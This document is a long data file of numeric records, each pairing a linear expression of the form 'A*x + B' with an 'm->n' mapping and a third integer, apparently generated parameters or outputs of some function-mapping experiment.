31547*x + 2269 35->72 92 34949*x + 2643 10->81 32 4481*x + 208 82->15 63 28669*x + 5647 84->90 86 27107*x + 5787 40->84 89 32029*x + 1270 21->92 51 8819*x + 3745 7->69 59 25171*x + 5790 38->25 52 25229*x + 2416 54->86 53 13687*x + 5722 76->37 114 100411*x + 9785 2->16 66 18223*x + 5078 88->91 91 5591*x + 5699 48->51 97 66713*x + 693 48->90 86 100343*x + 14248 17->9 115 33377*x + 5862 50->5 82 13457*x + 4680 6->37 114 23017*x + 4350 93->94 125 313*x + 8146 53->48 78 50821*x + 3751 25->98 93 102499*x + 11027 63->3 118 10597*x + 5399 78->35 88 71551*x + 6558 0->44 45 57697*x + 2035 71->68 36 49993*x + 5095 48->23 11 77659*x + 4201 65->33 122 69481*x + 6982 7->8 49 32443*x + 3604 46->95 111 11909*x + 5501 11->34 41 66889*x + 3081 81->81 32 34483*x + 7791 19->81 32 83417*x + 7027 50->53 120 31771*x + 7830 33->21 9 3911*x + 7763 3->95 111 6379*x + 6539 60->9 115 277*x + 3495 78->91 91 60527*x + 4644 30->20 62 36269*x + 4591 77->0 33 102043*x + 9541 51->60 85 45533*x + 855 78->41 73 7559*x + 6046 21->20 62 33889*x + 375 1->58 35 77249*x + 942 53->76 124 5113*x + 4384 31->71 37 11827*x + 4020 68->21 9 6113*x + 6373 65->86 53 11527*x + 3193 69->13 99 75797*x + 7133 65->8 49 25759*x + 597 69->6 123 85469*x + 13482 25->2 72 84659*x + 14663 44->42 87 81929*x + 1026 83->82 40 26959*x + 7148 94->32 69 57427*x + 1883 18->66 44 90073*x + 14088 86->44 45 88651*x + 8225 7->51 97 75253*x + 5466 73->47 90 82757*x + 768 29->85 83 102077*x + 12470 29->45 13 51613*x + 7667 59->58 35 95633*x + 10567 48->33 122 28081*x + 7980 21->84 89 76369*x + 5450 11->58 35 89317*x + 16030 41->90 86 88793*x + 10326 28->54 94 97073*x + 11495 41->34 41 62459*x + 4858 3->90 86 9067*x + 3991 98->92 51 100313*x + 13507 56->96 67 64403*x + 7541 44->64 70 18047*x + 3223 81->83 12 82037*x + 6885 59->31 47 21247*x + 7740 58->60 85 44501*x + 3078 80->33 122 39089*x + 263 79->91 91 84449*x + 10706 21->1 112 13729*x + 1952 68->95 111 49627*x + 6282 47->36 79 56533*x + 4740 44->13 99 98897*x + 15251 78->65 95 55541*x + 4537 79->42 87 34019*x + 2098 70->85 83 55249*x + 4304 2->67 117 72739*x + 8041 97->48 78 82813*x + 2671 85->2 72 84697*x + 11378 95->23 11 95467*x + 14833 34->89 107 19403*x + 5869 95->53 120 26449*x + 978 9->45 13 53359*x + 6433 6->89 107 34763*x + 1584 22->81 32 57751*x + 7389 80->42 87 81119*x + 2743 27->84 89 40063*x + 3860 93->25 52 103307*x + 11085 51->24 65 30103*x + 2478 65->56 119 88069*x + 11562 14->94 125 87553*x + 13258 61->85 83 96221*x + 10589 54->18 80 6803*x + 4082 8->34 41 36793*x + 1541 80->93 98 101771*x + 15623 45->16 66 37663*x + 8075 31->95 111 41893*x + 1338 96->53 120 84731*x + 8997 30->83 12 91139*x + 11507 39->1 112 72953*x + 4552 1->13 99 102397*x + 11885 79->7 126 50789*x + 3939 35->95 111 59051*x + 4542 0->61 10 2969*x + 5513 88->26 81 60259*x + 7920 18->30 96 49393*x + 6257 83->77 106 8231*x + 6540 27->9 115 7001*x + 5035 99->2 72 2309*x + 6054 53->60 85 53281*x + 7235 77->70 57 84407*x + 10618 50->63 60 91583*x + 12163 92->28 50 47843*x + 4641 91->97 108 22811*x + 3562 25->49 68 12671*x + 5401 53->37 114 12697*x + 4487 53->83 12 92789*x + 14630 57->12 101 84463*x + 11363 72->60 85 83579*x + 3633 89->11 43 59233*x + 1874 65->31 47 44771*x + 7839 42->96 67 98473*x + 15029 56->83 12 14461*x + 6693 30->26 81 31219*x + 3130 13->88 71 89363*x + 16138 78->87 121 76481*x + 499 64->90 86 47417*x + 1835 39->37 114 56813*x + 3189 18->21 9 92681*x + 9476 21->89 107 94201*x + 9777 5->85 83 71741*x + 3642 56->36 79 81533*x + 6889 93->11 43 93133*x + 10691 97->86 53 79193*x + 6444 64->14 77 5323*x + 1203 89->64 70 5843*x + 2423 26->78 76 42337*x + 6649 47->1 112 97583*x + 9823 11->72 92 28933*x + 2959 44->88 71 18451*x + 2040 67->57 109 73277*x + 6988 9->92 51 74449*x + 6474 39->3 118 31751*x + 1070 86->76 124 14221*x + 3047 55->76 124 101797*x + 9152 17->74 55 54011*x + 5661 50->12 101 31769*x + 1694 23->99 54 103291*x + 15545 42->54 94 104059*x + 10756 91->91 91 90007*x + 13000 70->45 13 93497*x + 11978 63->30 96 59093*x + 6706 25->50 116 67343*x + 96 11->16 66 16699*x + 6603 46->18 80 62939*x + 5251 52->15 63 61099*x + 1878 52->27 58 80687*x + 7321 28->16 66 80737*x + 7437 94->79 100 64879*x + 7602 6->91 91 71983*x + 3422 90->99 54 67339*x + 3944 84->57 109 20063*x + 3876 87->3 118 64489*x + 5502 58->28 50 81457*x + 4946 55->21 9 42197*x + 5662 30->71 37 13967*x + 2843 47->91 91 9371*x + 4460 41->30 96 89671*x + 11111 80->48 78 94153*x + 10894 99->33 122 77201*x + 2257 62->56 119 49157*x + 5587 66->74 55 104639*x + 10045 57->78 76 82781*x + 666 10->50 116 104471*x + 9976 11->95 111 30829*x + 1348 27->46 74 7193*x + 1467 31->42 87 40429*x + 5279 42->47 90 93557*x + 15217 81->21 9 38447*x + 3006 84->12 101 17729*x + 2844 51->30 96 20177*x + 4454 38->1 112 86813*x + 8855 72->43 105 13463*x + 3520 16->86 53 51479*x + 5689 32->5 82 76847*x + 7820 69->63 60 73651*x + 6355 2->92 51 74587*x + 62 66->25 52 29879*x + 2078 15->52 42 41453*x + 2197 79->89 107 104123*x + 12693 96->63 60 22037*x + 1068 68->15 63 17497*x + 1562 20->45 13 56087*x + 4701 46->16 66 5683*x + 5441 55->90 86 88547*x + 16113 0->86 53 47717*x + 6622 55->78 76 7529*x + 1193 80->46 74 33679*x + 2373 59->81 32 28097*x + 7526 84->66 44 67213*x + 1668 39->99 54 3271*x + 1906 65->11 43 95279*x + 9155 89->71 37 28111*x + 3095 11->4 48 35963*x + 2108 83->28 50 42767*x + 4099 22->8 49 86239*x + 12346 49->21 9 98207*x + 15185 41->29 38 32843*x + 5203 27->71 37 70879*x + 6028 20->65 95 73063*x + 5824 33->14 77 4079*x + 3048 23->91 91 33317*x + 5583 84->33 122 5227*x + 7619 31->65 95 56249*x + 5973 11->24 65 51679*x + 3354 49->86 53 83117*x + 5810 17->62 103 55207*x + 3412 73->45 13 7883*x + 2306 11->98 93 101119*x + 9740 78->69 59 45863*x + 5294 22->39 113 74143*x + 7336 92->64 70 9661*x + 7575 54->46 74 21401*x + 7427 96->36 79 91837*x + 14544 33->29 38 24317*x + 5327 66->48 78 13681*x + 4239 52->38 75 28661*x + 5272 79->21 9 101377*x + 13628 20->75 56 102181*x + 12093 92->23 11 81097*x + 7850 87->79 100 8513*x + 6873 34->29 38 72931*x + 7994 94->49 68 9907*x + 5962 86->69 59 22871*x + 2363 70->12 101 44417*x + 174 37->31 47 94529*x + 14605 80->82 40 4219*x + 4388 73->72 92 91009*x + 15787 16->95 111 92921*x + 14506 72->82 40 79693*x + 4424 35->74 55 25693*x + 5318 93->39 113 46187*x + 5817 90->47 90 7057*x + 746 41->0 33 98143*x + 10507 88->99 54 38867*x + 4055 68->55 39 95317*x + 14229 90->18 80 87977*x + 13644 25->3 118 42643*x + 727 20->40 34 94543*x + 12834 7->81 32 28909*x + 7504 41->23 11 38201*x + 7889 72->70 57 64747*x + 7650 8->23 11 37171*x + 7701 35->56 119 61343*x + 2339 18->89 107 79843*x + 1202 9->99 54 42307*x + 1330 90->74 55 45757*x + 6997 47->47 90 42751*x + 1982 2->61 10 37871*x + 3103 91->5 82 96017*x + 14813 7->5 82 5659*x + 4427 18->20 62 83071*x + 7298 43->87 121 32779*x + 4190 65->55 39 103067*x + 10433 98->81 32 25933*x + 2872 77->87 121 4091*x + 5694 47->55 39 43019*x + 6832 54->79 100 51343*x + 2182 82->45 13 76079*x + 2240 77->13 99 11393*x + 7621 89->13 99 103787*x + 14854 93->48 78 49547*x + 6191 38->88 71 34213*x + 592 44->35 88 11633*x + 7710 75->66 44 78139*x + 2504 33->32 69 32887*x + 2981 11->45 13 46271*x + 4957 74->36 79 73043*x + 7815 17->89 107 63793*x + 2105 86->98 93 86183*x + 8529 69->80 110 90173*x + 15379 13->77 106 81353*x + 3171 37->49 68 10271*x + 1959 71->14 77 251*x + 2814 77->75 56 29717*x + 4728 21->46 74 39827*x + 6036 96->45 13 100523*x + 13046 10->33 122 32563*x + 2776 11->9 115 52691*x + 7614 47->13 99 13337*x + 384 87->23 11 51521*x + 7354 68->72 92 59659*x + 750 51->43 105 19489*x + 6843 85->47 90 1151*x + 7810 15->35 88 21107*x + 7146 46->19 61 38299*x + 6768 17->46 74 55721*x + 6800 42->41 73 78853*x + 4083 50->56 119 21163*x + 7098 60->23 11 25717*x + 4621 65->52 42 65687*x + 3399 93->42 87 102523*x + 13384 55->77 106 44797*x + 1099 13->1 112 43403*x + 7442 9->76 124 31271*x + 6870 15->46 74 38569*x + 6500 80->1 112 91811*x + 8323 94->91 91 41479*x + 2625 97->83 12 102913*x + 9797 10->8 49 16987*x + 3031 25->63 60 3541*x + 469 64->85 83 6571*x + 6138 27->36 79 46703*x + 7973 79->80 110 58451*x + 3111 11->36 79 77167*x + 1996 93->73 102 2699*x + 3895 20->89 107 56401*x + 3214 82->73 102 50177*x + 1880 65->87 121 16067*x + 4235 34->45 13 27091*x + 3884 70->53 120 68071*x + 1935 68->11 43 86069*x + 15786 58->66 44 24251*x + 1767 1->36 79 4751*x + 6256 43->20 62 44543*x + 5201 67->51 97 16417*x + 7817 51->53 120 14653*x + 7622 74->1 112 99409*x + 11733 20->33 122 20929*x + 766 94->71 37 33923*x + 6427 88->66 44 24691*x + 1111 90->16 66 15073*x + 640 6->77 106 46681*x + 5920 83->41 73 27803*x + 2949 28->3 118 26237*x + 6867 17->61 10 22279*x + 2892 85->14 77 38693*x + 1209 2->49 68 19463*x + 6497 78->70 57 12239*x + 2611 75->81 32 34369*x + 4226 83->86 53 74197*x + 2712 38->16 66 67801*x + 5445 64->47 90 38431*x + 5321 83->16 66 84977*x + 11645 16->96 67 74489*x + 3681 1->98 93 16183*x + 7419 98->70 57 23917*x + 2583 68->68 36 77171*x + 488 47->51 97 41879*x + 7811 55->27 58 57571*x + 5710 42->11 43 86539*x + 9641 34->87 121 31727*x + 733 14->72 92 72977*x + 2663 46->92 51 91621*x + 11032 87->47 90 91943*x + 14036 89->56 119 331*x + 6069 46->80 110 31873*x + 5946 64->24 65 95219*x + 16362 31->85 83 68821*x + 5822 43->44 45 80309*x + 3296 15->30 96 91969*x + 14460 27->6 123 349*x + 1892 90->70 57 28631*x + 7987 65->94 125 3547*x + 2097 8->28 50 57713*x + 935 87->63 60 50957*x + 4629 63->74 55 14657*x + 1901 13->50 116 81853*x + 1148 35->91 91 65267*x + 4366 29->22 64 21569*x + 2770 15->32 69 57047*x + 6051 59->55 39 92353*x + 8507 22->2 72 11471*x + 5691 30->56 119 17657*x + 7154 52->43 105 92899*x + 12738 72->42 87 27437*x + 6585 78->94 125 98561*x + 11173 16->94 125 21323*x + 6348 96->14 77 21031*x + 1930 45->21 9 12413*x + 4954 66->73 102 54577*x + 2415 13->26 81 95089*x + 13742 89->92 51 85531*x + 15284 17->40 34 43711*x + 4494 24->31 47 12211*x + 6655 1->8 49 94709*x + 8396 2->70 57 74021*x + 3704 46->15 63 11071*x + 4571 61->94 125 21647*x + 3433 48->28 50 42409*x + 614 36->30 96 3499*x + 3478 97->66 44 29077*x + 1590 43->24 65 70891*x + 5020 85->13 99 73907*x + 5409 15->24 65 13903*x + 1547 34->14 77 42379*x + 6335 91->86 53 49279*x + 6184 18->8 49 101837*x + 9762 2->8 49 18919*x + 888 46->85 83 49477*x + 7530 87->36 79 22453*x + 3741 63->33 122 72613*x + 3272 18->22 64 64483*x + 7915 19->14 77 57367*x + 2485 48->58 35 19571*x + 2401 76->48 78 70001*x + 4744 35->5 82 77023*x + 7867 33->48 78 50857*x + 5714 4->11 43 72893*x + 4953 13->56 119 99793*x + 8511 61->56 119 22751*x + 1144 99->75 56 74551*x + 2456 45->83 12 62819*x + 6056 47->15 63 10331*x + 2394 44->24 65 19717*x + 7696 76->98 93 95339*x + 13797 98->44 45 95063*x + 12590 77->91 91 44879*x + 7923 15->99 54 51563*x + 5851 6->49 68 59561*x + 2782 22->61 10 89819*x + 8984 93->45 13 7481*x + 5162 54->53 120 193*x + 2433 88->24 65 95629*x + 8681 70->3 118 21283*x + 7555 43->93 98 19577*x + 5922 25->57 109 35729*x + 2766 52->42 87 5*x + 1686 66->60 85 6353*x + 7187 84->54 94 2539*x + 7831 30->36 79 6827*x + 929 89->41 73 66569*x + 1970 88->23 11 16319*x + 1890 56->22 64 77711*x + 819 87->46 74 3391*x + 7174 12->49 68 57667*x + 2143 49->75 56 65099*x + 3730 89->60 85 75869*x + 4593 75->57 109 1877*x + 6448 34->34 41 16477*x + 2261 57->75 56 40583*x + 5496 99->61 10 19333*x + 8144 3->69 59 28099*x + 6778 34->81 32 81101*x + 2772 75->23 11 94907*x + 11782 23->1 112 68041*x + 1816 55->28 50 56489*x + 1227 6->8 49 36131*x + 1056 96->39 113 42457*x + 658 73->13 99 95971*x + 11789 42->12 101 73327*x + 5971 48->53 120 65519*x + 7302 54->12 101 7687*x + 6584 25->61 10 96179*x + 14809 0->95 111 89821*x + 10916 58->53 120 28307*x + 6568 59->7 126 42829*x + 1078 80->61 10 20323*x + 3847 75->48 78 98011*x + 13945 80->37 114 68141*x + 4357 69->79 100 103399*x + 10460 64->98 93 25409*x + 5448 13->3 118 5849*x + 3365 7->0 33 36809*x + 2948 75->9 115 80779*x + 7606 76->89 107 94621*x + 15061 43->50 116 1951*x + 7185 97->28 50 77839*x + 452 15->56 119 63079*x + 5732 42->51 97 22051*x + 4737 71->95 111 81013*x + 5775 44->86 53 75511*x + 810 68->91 91 79829*x + 1838 82->79 100 83423*x + 4075 14->90 86 33809*x + 3732 70->83 12 37991*x + 1249 71->63 60 52517*x + 438 96->77 106 81017*x + 280 41->31 47 10487*x + 3243 43->1 112 1523*x + 6831 35->81 32 20639*x + 5015 23->9 115 17183*x + 635 88->78 76 71329*x + 2893 98->26 81 86767*x + 8466 77->69 59 9311*x + 4776 8->91 91 80963*x + 2370 26->52 42 41113*x + 1201 68->96 67 15919*x + 2042 10->88 71 1567*x + 5523 59->98 93 73379*x + 157 88->3 118 7823*x + 3813 33->50 116 70619*x + 5562 39->80 110 74071*x + 3238 35->14 77 33071*x + 287 69->96 67 81203*x + 6096 45->68 36 30557*x + 3787 81->53 120 26597*x + 4189 40->67 117 74257*x + 1422 94->98 93 16519*x + 690 99->41 73 41801*x + 4467 19->25 52 1013*x + 1218 27->44 45 35353*x + 527 81->4 48 93131*x + 10223 84->64 70 14479*x + 1252 78->89 107 81163*x + 5983 9->95 111 50231*x + 2646 91->28 50 53609*x + 6291 58->0 33 36353*x + 2683 69->10 46 99173*x + 10288 2->1 112 102983*x + 9425 14->35 88 85049*x + 12201 93->96 67 53269*x + 3363 68->76 124 523*x + 164 15->9 115 75997*x + 2438 21->47 90 71339*x + 2661 93->40 34 56443*x + 6259 90->56 119 14347*x + 237 33->89 107 25237*x + 4647 53->41 73 61211*x + 1090 42->85 83 521*x + 5150 8->26 81 59651*x + 3984 46->28 50 2683*x + 4242 23->50 116 18443*x + 3457 43->71 37 79379*x + 3241 88->43 105 42083*x + 60 49->3 118 64667*x + 7520 16->65 95 56731*x + 7398 80->98 93 83407*x + 8100 64->44 45 72817*x + 4893 82->64 70 80803*x + 3987 21->40 34 75161*x + 5461 95->99 54 353*x + 7550 87->58 35 96293*x + 8773 16->34 41 75083*x + 2320 62->90 86 60913*x + 4884 55->93 98 59053*x + 3029 27->78 76 39443*x + 4738 19->85 83 3691*x + 1050 61->84 89 26573*x + 3364 9->82 40 86851*x + 11682 56->87 121 28499*x + 7746 88->55 39 75181*x + 7750 44->72 92 853*x + 1112 52->44 45 65867*x + 6530 96->51 97 16427*x + 2955 15->80 110 73553*x + 6176 17->81 32 88937*x + 8775 23->51 97 7573*x + 4464 41->60 85 61283*x + 3387 59->61 10 30449*x + 7726 40->39 113 73009*x + 7996 35->12 101 85597*x + 13895 58->68 36 19273*x + 2991 96->52 42 16883*x + 1577 78->67 117 19457*x + 8081 28->88 71 8081*x + 4446 46->20 62 93287*x + 11117 53->16 66 14887*x + 2593 95->6 123 87643*x + 10655 3->97 108 80527*x + 7871 12->25 52 104527*x + 15688 72->14 77 41759*x + 395 91->70 57 60859*x + 3417 86->16 66 24847*x + 5720 15->54 94 57329*x + 2787 1->64 70 74923*x + 4128 68->81 32 3727*x + 1850 61->47 90 96451*x + 16293 94->90 86 50651*x + 3964 48->70 57 78787*x + 4665 54->57 109 83207*x + 1556 33->92 51 85639*x + 9826 33->57 109 58013*x + 3181 27->73 102 99041*x + 10547 81->92 51 50587*x + 7031 25->39 113 27277*x + 5937 1->62 103 36563*x + 2545 83->24 65 81197*x + 342 70->36 79 26833*x + 7844 21->8 49 31*x + 6242 21->6 123 94789*x + 13230 8->35 88 52901*x + 6999 59->48 78 104543*x + 9913 1->89 107 66431*x + 4502 96->25 52 71849*x + 7208 7->55 39 45613*x + 586 76->16 66 17137*x + 7767 75->35 88 75029*x + 8176 65->63 60 66343*x + 169 59->6 123 51577*x + 2518 25->35 88 10513*x + 4352 28->27 58 33637*x + 2054 13->91 91 1187*x + 3143 28->25 52 69463*x + 4580 39->19 61 10243*x + 4419 8->77 106 63691*x + 7574 34->80 110 36161*x + 2700 90->33 122 42373*x + 4535 97->23 11 67481*x + 330 35->28 50 27791*x + 8103 68->92 51 2383*x + 5200 12->32 69 28031*x + 2127 25->64 70 41609*x + 3769 82->9 115 82009*x + 5723 63->18 80 95087*x + 11414 39->83 12 69401*x + 7183 42->29 38 14251*x + 7046 52->63 60 74099*x + 1992 12->97 108 80071*x + 4434 76->79 100 11621*x + 7472 31->49 68 47797*x + 1995 68->4 48 70487*x + 3537 71->25 52 90971*x + 14361 59->2 72 3083*x + 4726 76->17 104 21157*x + 2845 73->24 65 43997*x + 5498 91->74 55 57287*x + 5039 58->45 13 33083*x + 4511 93->82 40 91711*x + 8796 54->58 35 90227*x + 8988 14->34 41 82471*x + 1897 47->41 73 47951*x + 6765 58->76 124 33569*x + 120 66->77 106 84401*x + 13128 29->63 60 50849*x + 4203 80->23 11 39901*x + 4620 13->84 89 78479*x + 479 50->29 38 61051*x + 7724 43->95 111 359*x + 7929 43->31 47 65563*x + 1434 52->86 53 33577*x + 7686 52->45 13 65089*x + 439 33->40 34 101719*x + 11722 87->0 33 56081*x + 5111 90->22 64 7589*x + 6417 11->13 99 28643*x + 2116 92->82 40 45077*x + 171 82->17 104 78643*x + 4033 69->20 62 643*x + 3439 38->29 38 75781*x + 1280 74->18 80 53309*x + 7691 25->43 105 60961*x + 2284 52->71 37 98389*x + 13887 49->80 110 89087*x + 13929 29->75 56 25261*x + 7036 31->18 80 32027*x + 1612 85->3 118 5953*x + 1944 99->76 124 57349*x + 4136 39->92 51 64007*x + 4699 97->91 91 9133*x + 5927 57->34 41 44839*x + 3168 24->60 85 62467*x + 7337 80->49 68 59951*x + 5121 55->74 55 43051*x + 7244 31->92 51 15581*x + 7866 94->50 116 34031*x + 3615 27->34 41 77863*x + 717 82->61 10 83357*x + 412 22->93 98 89833*x + 9128 79->13 99 93463*x + 10681 40->56 119 937*x + 6267 18->40 34 100931*x + 14234 21->78 76 61603*x + 1943 73->98 93 87041*x + 12984 80->97 108 40127*x + 2356 1->99 54 33469*x + 6559 55->72 92 17189*x + 3619 23->22 64 39133*x + 7834 72->12 101 45161*x + 7537 73->58 35 4969*x + 3236 75->19 61 58207*x + 6538 84->39 113 65981*x + 5755 45->1 112 72497*x + 5604 72->25 52 82811*x + 503 84->79 100 35327*x + 1889 88->19 61 67493*x + 1823 48->8 49 98533*x + 8590 64->19 61 21319*x + 3229 79->74 55 38327*x + 1858 12->43 105 42181*x + 908 10->39 113 24179*x + 6701 65->35 88 63197*x + 5408 12->51 97 16981*x + 7549 77->42 87 38791*x + 6793 89->82 40 21727*x + 3947 77->88 71 26041*x + 4281 6->88 71 577*x + 1771 40->77 106 56989*x + 5375 61->45 13 47057*x + 3198 56->62 103 99733*x + 14313 16->21 9 95581*x + 11250 61->73 102 32429*x + 4277 57->3 118 104417*x + 14781 55->62 103 36493*x + 6738 76->62 103 103969*x + 8512 35->42 87 75731*x + 2265 71->42 87 90271*x + 10228 54->8 49 96223*x + 16062 35->75 56 39163*x + 4337 52->49 68 76819*x + 7773 29->18 80 81439*x + 3201 52->55 39 53927*x + 4630 57->61 10 77591*x + 791 97->53 120 5939*x + 6836 55->9 115 58109*x + 7687 4->36 79 55439*x + 7147 5->37 114 84127*x + 15529 93->30 96 57503*x + 5418 79->5 82 719*x + 5940 61->20 62 51977*x + 423 42->45 13 97711*x + 9342 7->89 107 45503*x + 6528 82->69 59 28517*x + 1149 20->74 55 67601*x + 676 53->30 96 35999*x + 249 6->83 12 17909*x + 4645 16->71 37 92683*x + 10852 58->80 110 58043*x + 3329 14->59 84 48589*x + 1214 86->62 103 52859*x + 1523 39->33 122 27397*x + 7586 47->77 106 102559*x + 13670 86->11 43 13003*x + 6467 15->19 61 12107*x + 4848 52->99 54 85903*x + 14531 48->7 126 89303*x + 14744 59->36 79 38671*x + 2184 34->23 11 50539*x + 111 69->31 47 102139*x + 11732 61->41 73 1361*x + 3790 80->80 110 41227*x + 6204 95->57 109 2441*x + 3701 8->14 77 53411*x + 5527 49->53 120 1021*x + 6794 29->28 50 3467*x + 2282 63->53 120 90191*x + 12233 29->44 45 46099*x + 2925 37->88 71 95327*x + 8656 70->82 40 44651*x + 1195 91->41 73 60127*x + 678 96->59 84 97429*x + 9690 82->62 103 62483*x + 3927 2->39 113 12161*x + 1311 75->12 101 72367*x + 7848 33->52 42 13367*x + 313 0->40 34 863*x + 4222 51->95 111 57221*x + 7061 11->89 107 3347*x + 7166 88->44 45 96959*x + 10398 5->27 58 50503*x + 1599 99->62 103 17581*x + 2709 39->79 100 9091*x + 440 8->27 58 4337*x + 4110 79->79 100 39551*x + 3472 79->28 50 56599*x + 3222 18->55 39 10739*x + 2213 88->41 73 22621*x + 7224 17->57 109 17791*x + 1272 63->24 65 100403*x + 15408 68->6 123 33161*x + 963 42->75 56 92717*x + 13428 25->73 102 39503*x + 4911 12->63 60 67931*x + 7711 88->47 90 42719*x + 6188 42->26 81 55163*x + 7184 33->96 67 72421*x + 4763 47->22 64 54727*x + 1024 10->91 91 79159*x + 535 27->54 94 5059*x + 1609 41->67 117 13063*x + 5928 12->39 113 56897*x + 5600 85->4 48 88663*x + 15708 29->70 57 34159*x + 7665 35->62 103 22441*x + 4233 45->9 115 30803*x + 32 85->82 40 92801*x + 9686 73->56 119 42701*x + 7470 21->53 120 63577*x + 4273 63->83 12 23669*x + 5885 29->93 98 98057*x + 9806 26->47 90 173*x + 745 48->25 52 82559*x + 268 86->92 51 100447*x + 9584 58->9 115 54631*x + 5011 34->41 73 15971*x + 2576 31->61 10 22937*x + 625 75->49 68 55619*x + 5698 63->27 58 25073*x + 3631 44->14 77 7691*x + 5636 51->93 98 81569*x + 5372 90->39 113 57793*x + 765 36->28 50 55711*x + 1534 84->67 117 44351*x + 2130 15->72 92 77213*x + 7130 45->27 58 36469*x + 7050 8->48 78 68227*x + 6071 41->71 37 101723*x + 12104 72->68 36 51631*x + 7259 72->46 74 9127*x + 747 27->92 51 75367*x + 3340 23->20 62 10883*x + 3426 44->47 90 83471*x + 3824 54->30 96 28433*x + 2598 6->23 11 35201*x + 6387 87->9 115 36749*x + 2202 14->81 32 991*x + 4228 20->56 119 102877*x + 14166 78->55 39 68219*x + 1587 94->99 54 16567*x + 1186 54->4 48 33641*x + 7338 16->76 124 47701*x + 5846 91->72 92 5741*x + 2221 40->15 63 102149*x + 15503 85->21 9 59107*x + 8020 94->84 89 35447*x + 5752 36->79 100 13877*x + 5729 31->76 124 40189*x + 5389 80->84 89 47387*x + 5138 57->15 63 3701*x + 4397 76->50 116 33479*x + 5667 39->22 64 29531*x + 4284 78->61 10 104047*x + 14675 88->30 96 1579*x + 4019 46->1 112 49937*x + 1957 12->27 58 22483*x + 1504 12->31 47 29231*x + 496 84->99 54 58601*x + 549 97->13 99 29759*x + 7250 82->18 80 24551*x + 2613 68->97 108 38237*x + 5255 84->32 69 24677*x + 2605 88->2 72 35393*x + 7260 91->11 43 85159*x + 12047 0->50 116 23623*x + 1526 65->1 112 64231*x + 3950 30->52 42 6841*x + 4950 0->66 44 37691*x + 2068 7->63 60 23279*x + 6986 61->30 96 71843*x + 5495 33->5 82 94961*x + 10416 22->72 92 5881*x + 4650 78->5 82 673*x + 5455 11->66 44 89189*x + 9042 80->2 72 21563*x + 7566 76->54 94 2423*x + 1606 81->42 87 72623*x + 601 74->7 126 102161*x + 8837 93->69 59 39779*x + 3088 97->16 66 56779*x + 4499 34->6 123 51473*x + 2469 11->49 68 81409*x + 7832 29->43 105 82483*x + 5747 95->98 93 54499*x + 624 57->54 94 89779*x + 13622 70->59 84 92243*x + 15615 72->65 95 96587*x + 13901 37->91 91 86753*x + 12623 21->14 77 27431*x + 8005 52->52 42 22027*x + 5865 4->96 67 64877*x + 1251 83->38 75 58889*x + 2345 9->46 74 84307*x + 15303 29->91 91 57059*x + 4553 99->69 59 104327*x + 10973 98->50 116 91423*x + 13167 50->62 103 84859*x + 15721 86->42 87 65293*x + 5280 96->95 111 96461*x + 13865 39->87 121 2833*x + 7877 32->70 57 4621*x + 7638 82->82 40 57269*x + 7388 13->7 126 36151*x + 1480 43->23 11 74411*x + 7407 90->64 70 41351*x + 7075 96->98 93 40801*x + 4327 31->24 65 68863*x + 2617 26->73 102 99667*x + 12830 42->46 74 51593*x + 5565 13->21 9 50893*x + 2077 61->97 108 30389*x + 8057 9->32 69 72073*x + 6430 44->66 44 28621*x + 188 54->78 76 104743*x + 12603 95->70 57 74687*x + 7641 98->5 82 65719*x + 4778 13->96 67 29153*x + 8130 1->80 110 95287*x + 8440 28->82 40 74189*x + 1160 80->50 116 83449*x + 687 28->35 88 20477*x + 2642 11->59 84 4591*x + 7739 49->52 42 28817*x + 1285 97->35 88 104173*x + 14370 88->7 126 30313*x + 7657 46->96 67 76099*x + 1875 97->25 52 38749*x + 7997 3->71 37 32099*x + 3720 39->52 42 97003*x + 12595 31->88 71 86959*x + 9832 45->76 124 58567*x + 6319 41->81 32 68329*x + 3082 0->5 82 47221*x + 7893 70->71 37 92867*x + 11294 52->78 76 7681*x + 1791 20->19 61 1543*x + 5297 12->93 98 2671*x + 1373 37->25 52 67057*x + 5211 52->60 85 24113*x + 5235 54->84 89 28151*x + 5589 48->82 40 7321*x + 5590 11->3 118 37853*x + 5981 78->32 69 31159*x + 514 26->27 58 41999*x + 2958 48->6 123 12517*x + 3889 42->97 108 76333*x + 651 51->79 100 43117*x + 6545 41->40 34 38629*x + 1417 68->41 73 22901*x + 6506 88->93 98 65617*x + 5829 14->55 39 40357*x + 5679 11->93 98 26309*x + 3879 84->24 65 87187*x + 12711 55->24 65 52627*x + 6785 35->94 125 87221*x + 14467 26->81 32 49253*x + 1000 78->82 40 10831*x + 4396 80->45 13 10399*x + 7290 24->74 55 5563*x + 8189 11->19 61 104087*x + 14555 62->45 13 92333*x + 14228 96->99 54 98899*x + 8482 92->20 62 95531*x + 8324 6->69 59 32801*x + 6866 65->5 82 35491*x + 3737 34->16 66 31793*x + 1114 94->70 57 35257*x + 5881 26->14 77 102769*x + 12899 78->1 112 90647*x + 10017 76->39 113 86399*x + 10647 41->94 125 44687*x + 2088 76->87 121 8353*x + 5762 17->28 50 29437*x + 2123 19->30 96 15737*x + 2633 28->58 35 71359*x + 8111 61->2 72 33937*x + 370 4->62 103 9497*x + 7879 9->14 77 37003*x + 4411 44->68 36 93179*x + 9880 76->92 51 102101*x + 10386 59->3 118 101051*x + 15180 30->76 124 29611*x + 7703 10->26 81 31973*x + 815 39->13 99 20047*x + 3349 48->95 111 86783*x + 16027 74->16 66 46573*x + 4029 89->80 110 80909*x + 1012 55->61 10 23*x + 5045 34->52 42 32503*x + 5010 18->42 87 9239*x + 8016 21->87 121 75389*x + 3661 51->71 37 48947*x + 3459 21->16 66 2143*x + 7612 70->1 112 80491*x + 5438 4->78 76 33073*x + 2407 65->61 10 8039*x + 3012 88->52 42 74903*x + 8050 95->91 91 3019*x + 3546 86->82 40 29131*x + 3360 62->18 80 20233*x + 3854 57->58 35 71761*x + 6590 45->92 51 11351*x + 6425 80->57 109 25889*x + 137 73->14 77 59453*x + 4891 80->94 125 73721*x + 3164 67->61 10 35027*x + 7163 96->3 118 58603*x + 2798 33->63 60 64433*x + 5605 95->68 36 48649*x + 4617 70->44 45 95773*x + 12231 4->1 112 103457*x + 9799 22->90 86 64811*x + 7459 56->54 94 9109*x + 6578 79->66 44 25439*x + 6839 49->16 66 29179*x + 980 12->85 83 21517*x + 1295 17->50 116 57413*x + 8088 26->80 110 30391*x + 6575 41->92 51 93329*x + 11395 72->19 61 32969*x + 2377 62->26 81 26387*x + 1869 95->90 86 5569*x + 6168 41->44 45 93239*x + 11521 97->21 9 24007*x + 7451 88->70 57 77687*x + 481 9->73 102 49031*x + 3664 21->86 53 79531*x + 3117 96->10 46 85571*x + 11710 24->99 54 95569*x + 13032 2->58 35 48187*x + 820 63->56 119 12539*x + 3819 25->6 123 